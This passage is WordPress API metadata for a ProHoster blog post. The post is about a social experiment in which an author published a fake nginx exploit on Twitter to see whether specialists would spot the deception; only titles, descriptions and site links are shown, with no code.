t\u00eb shihnin mashtrimin e duksh\u00ebm n\u00eb kod - jo vet\u00ebm q\u00eb nuk u realizuan... Ato e tejkaluan \u00e7do pritshm\u00ebri.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u0441\u043f\u0435\u0445 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u043c \u0434\u043b\u044f nginx | ProHoster","og:description":"\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0410\u0432\u0442\u043e\u0440 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043c\u0435\u0442\u043a\u0438, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0439 1 \u0438\u044e\u043d\u044f, \u0440\u0435\u0448\u0438\u043b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u0432 \u0441\u0440\u0435\u0434\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u0438\u043b \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043a \u043d\u0435\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043b \u0435\u0433\u043e \u0432 \u0441\u0432\u043e\u0451\u043c \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0435. \u0415\u0433\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0431\u044b\u0442\u044c \u043c\u0433\u043d\u043e\u0432\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u043b\u0430\u0447\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u044f\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u043e\u0431\u043c\u0430\u043d \u0432 \u043a\u043e\u0434\u0435, \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043b\u0438\u0441\u044c\u2026 \u041e\u043d\u0438 \u043f\u0440\u0435\u0432\u0437\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f,","og:url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:02:28+00:00","article:modified_time":"2019-10-31T19:02:28+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"35126","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-21 21:57:20","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 22:59:48","updated":"2026-01-21 21:57:20","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/35126","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=35126"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/35126\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/26410"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=35126"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=35126"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=35126"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}